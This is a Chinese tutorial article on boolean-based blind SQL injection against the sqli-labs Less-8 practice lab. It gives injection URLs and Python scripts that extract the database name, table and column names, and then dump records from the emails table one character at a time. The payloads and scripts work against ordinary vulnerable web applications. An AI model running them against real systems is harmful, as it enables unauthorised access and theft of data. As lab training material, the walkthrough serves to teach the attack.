SQL注入之基于布尔的盲注详解

 更新时间:2016年09月25日 10:16:45   投稿:daisy  
首先说明的盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。盲注一般分为布尔盲注和基于时间的盲注。这篇文章主要讲解的是基于布尔的盲注。下面来一起看看吧。

基于布尔的盲注

Web的页面的仅仅会返回True和False。那么布尔盲注就是进行SQL注入之后然后根据页面返回的True或者是False来得到数据库中的相关信息。

由于本次是布尔注入,手注无法完整地进行脱裤。所以在本节需要编写大量的代码来帮助我们进行SQL注入,得到数据。所以在这章里面会有很多的Python代码。

本次的示例就是Less-8。

通过进行下面的语句的注入测试

http://localhost/sqlilabs/Less-8/?id=2'
http://localhost/sqlilabs/Less-8/?id=2"
http://localhost/sqlilabs/Less-8/?id=2\

进行测试的时候,只有在id=2'的时候页面无法显示内容。输入的语句如果符合要求,页面就会显示内容,但是显示的内容都是一样的。这种情况下页面上的输出对于我们来说是完全没有用的,包括SQL执行出错的信息都不会在页面上显示。这种情况下之前的通过执行SQL语句然后在页面上显示SQL执行之后返回的信息完全是不可能的啦。这种情况下就是一个典型的SQL盲注了。

我们通过页面是否显示内容来判断我们的SQL语句是否正确,进而猜解数据库的信息。

通过上面的注入测试,我们知道后台的SQL的注入语句的写法是:

select field from table where id='userinput'

id参数是被单引号包括的。其他的信息我们就无法得到了。

得到数据库的名称

在得到数据库的名称之前,首先需要得到数据库的长度

http://localhost/sqlilabs/Less-8/?id=2' and length(database())>1 %23
http://localhost/sqlilabs/Less-8/?id=2' and length(database())>2 %23
以此类推
.....

发现当值为8的时候,页面就没有显示。那么说明database()的长度是8。

得到了datbase()的长度之后,接下来就是得到database()的名称了。

这个时候就不能完全靠手注了,必须编写Python代码来完成。其中最主要就是进行大量的注入测试来判断程序执行正确和出错的时机,然后断定当前的值可能就是正确的值。

下面就是一个简单的使用Python来进行布尔盲注获取数据的代码。

def get_db_name():
 result = ""
 url_template = "http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr(database(),{0},1))>{1} %23"
 chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
 for i in range(1,9):
  for char in chars:
   char_ascii = ord(char)
   url = url_template.format(i,char_ascii)
   response = requests.get(url)
   length = len(response.text)
   #返回的长度只有706和722
   if length>706:
    result += char
    break
 print(result)

得到最后的结果的是security,是正确的。

得到数据库中的表信息

其实所有的SQL注入步骤都是类似的。首先得到数据库的名称(这一步不是必须的),然后得到当前数据库的表名称,然后得到表的字段,最后进行脱裤。这个步骤在前一章已经有说明了。

首先看一个简单的SQL盲注获取数据库表信息的写法。

http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>60 %23

其实还是使用之前的select table_name from information_schema.tables where table_schema=database() limit 0,1这样的语句来得到表的信息,但是现在是无法在页面上显示的,而是通过盲注来一个字符一个字符的获取表名。

接下也同样是通过编写Python代码来获取表名了。代码也和上面的类似。主要就是修改中的URl。在进行Python获取表名之前,我们同样需要知道表名的长度。

使用如下的语句就可以得到了。

获取表名的SQL注入的写法就是如下

http://localhost/sqlilabs/Less-8/?id=2' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>0 %23

通过这种方式我们知道数据库表中的第一个表名的长度是6。知道了表名的长度之后,接下来的Python脚本就很好写了。

def get_table_name():
 result = ""
 url_template = "http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))>{1} %23"
 chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
 for i in range(1,7):
  for char in chars:
   char_ascii = ord(char)
   url = url_template.format(i,char_ascii)
   response = requests.get(url)
   length = len(response.text)
   #返回的长度只有706和722
   if length>706:
    result += char
    break
 print(result)

最后得到了第一个表名是emails,如果要得到其他的表名只需要将代码limit 0,1修改成为limit 1,1或者是其他的就可以了。

得到表名的列信息

在得到列名之前,同样需要知道在表中的字段长度。例如我们想要知道在emails表中的长度,那么就可以使用如下的语句来获取。

http://localhost/sqlilabs/Less-8/?id=2' and (select length(column_name) from information_schema.columns where table_name=0x656d61696c73 limit 0,1)>【num】 %23

修改num的值即可,从0开始一直到到程序出错。通过这种方法,我们得到在emails中存在2个字段,字段的长度分别是2,8。
得到了字段长度之后,接下来就是进行布尔注入得到字段名称了。

在编写代码之前,还是来看如何写获取字段名称的sql语句吧。下面这个代码就是用来获取字段名称的代码。

http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr((select column_name from information_schema.columns where table_name=0x656d61696c73 limit 0,1),1,1))>60 %23

我们编写的Python代码也是利用上面这个代码来获取字段名称。

def get_column_name():
 result = ""
 url_template = "http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr((select column_name from information_schema.columns where table_name=0x656d61696c73 limit 0,1),{0},1))>{1} %23"
 chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz'
 for i in range(1,3):
  for char in chars:
   char_ascii = ord(char)
   url = url_template.format(i,char_ascii)
   response = requests.get(url)
   length = len(response.text)
   #返回的长度只有706和722
   if length>706:
    result += char
    break
 print(result)

通过上面这个代码,我们可以得到在emails表中存在的字段名称分别是idemail_id

脱裤

在得到了字段名称之后,接下来最重要的一步就是进行脱裤了。
在进行脱裤之前,我们首先判断在emails表中有多少条记录。

使用的语句如下:

http://localhost/sqlilabs/Less-8/?id=2' and (select count(*) from emails)>0 %23

修改>0中的0依次为1,2,3之后,我们得到在emails表中一共存在8条记录。

那么接下来就是进行脱裤了。

在脱裤之前,我们首先要知道当前记录的长度,这个SQL语句也很好写。

http://localhost/sqlilabs/Less-8/?id=2' and (select length(email_id) from emails limit 0,1)>15 %23

最后我们知道在emails表中的第一条记录中的email_id的长度是16.

知道了长度之后,代码就很好写了。

def get_data():
 result = ""
 url_template = "http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr((select email_id from emails limit 0,1),{0},1))>{1} %23"
 chars = '.0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz'
 for i in range(1,17):
  for char in chars:
   char_ascii = ord(char)
   url = url_template.format(i,char_ascii)
   response = requests.get(url)
   length = len(response.text)
   #返回的长度只有706和722
   if length>706:
    result += char
    break
 print(result)

通过上面的这段代码就得到了内容是Dumb@dhakkan.com,其他的内容就同样通过这段方式得到数据了。这里就不作演示了。

总结

其实基于布尔盲注和基于时间的盲注都是需要编写大量的代码,就像本篇的文章一样。之前在简单的SQL注入中,一句SQL注入代码就可以解决的问题在这里就需要编写Python代码来进行大量的注入测试才能够得到内容。其实之前我也很少完整的用Python来编写SQL注入代码完成整个布尔盲注的注入过程。通过本章的编写,熟悉了使用Python代码完整地进行一次布尔盲注的过程了,学习了很多。以上就是这篇文章的全部内容了,希望对大家能有所帮助。

相关文章

  • Doris 数据模型ROLLUP及前缀索引官方教程

    Doris 数据模型ROLLUP及前缀索引官方教程

    本文档主要从逻辑层面,描述 Doris 的数据模型 ROLLUP 以及前缀索引的概念,以帮助用户更好的使用 Doris 应对不同的业务场景,有需要的朋友可以借鉴参考下,希望能够有所帮助,祝大家多多进步,早日升职加薪
    2023-05-05
  • 最新统计排名前十的SQL和NoSQL数据库排行榜

    最新统计排名前十的SQL和NoSQL数据库排行榜

    这篇文章主要介绍了最新统计排名前十的SQL和NoSQL数据库排行榜,本文包括Oracle、MySQL、Microsoft SQL Server、PostgreSQL、MongoDB等数据库,需要的朋友可以参考下
    2014-09-09
  • 数据库服务器构建和部署检查列表详解

    数据库服务器构建和部署检查列表详解

    这篇文章主要介绍了数据库服务器构建和部署检查列表的相关内容,小编觉得挺不错的,这里分享给大家,供各位参考。
    2017-10-10
  • 常见的SQL优化面试专题大全

    常见的SQL优化面试专题大全

    面试中如何被问到SQL优化,看这篇就对了,下面这篇文章主要给大家介绍了关于SQL优化面试的相关资料,文中将答案介绍的非常详细,需要的朋友可以参考下
    2023-03-03
  • SQL行转列、列转行的简单实现

    SQL行转列、列转行的简单实现

    这篇文章主要给大家介绍了关于SQL行转列、列转行的简单实现方法,文中通过示例代码介绍的非常详细,对大家学习或者使用SQL具有一定的参考学习价值,需要的朋友们下面来一起学习学习吧
    2019-05-05
  • Hadoop2.X/YARN环境搭建--CentOS7.0系统配置

    Hadoop2.X/YARN环境搭建--CentOS7.0系统配置

    Hadoop原本来自于谷歌一款名为MapReduce的编程模型包。谷歌的MapReduce框架可以把一个应用程序分解为许多并行计算指令,跨大量的计算节点运行非常巨大的数据集。使用该框架的一个典型例子就是在网络数据上运行的搜索算法。
    2014-08-08
  • 浅谈关系型数据库中如何进行事务管理

    浅谈关系型数据库中如何进行事务管理

    这篇文章主要介绍了浅谈关系型数据库中如何进行事务管理,事务是一组数据库操作,它们必须全部执行或全部回滚,这意味着如果在事务执行期间出现错误,所有的更改都将撤销,数据库将被恢复到事务开始之前的状态,需要的朋友可以参考下
    2023-07-07
  • 数据库查询中遭遇特殊字符导致问题的解决方法

    数据库查询中遭遇特殊字符导致问题的解决方法

    数据库查询中遭遇特殊字符导致问题的解决方法,我们提供的是asp的,但其它的数据库与语言下的解决方法也大同小异。
    2007-12-12
  • 通过Qt连接OpenGauss数据库的详细教程

    通过Qt连接OpenGauss数据库的详细教程

    本教程介绍如何通过Qt连接OpenGauss数据库,在openGauss所在的root环境下执行相关步骤,需要Windows下配置ODBC数据源,本文给大家介绍的非常详细,需要的朋友参考下吧
    2021-06-06
  • JetBrains DataGrip安装和使用的详细教程

    JetBrains DataGrip安装和使用的详细教程

    日常开发中少不了各种可视化数据库管理工具。本文介绍另一个十分好用且强大的工具:DataGrip。具有一定的参考价值,感兴趣的可以了解一下
    2021-09-09

最新评论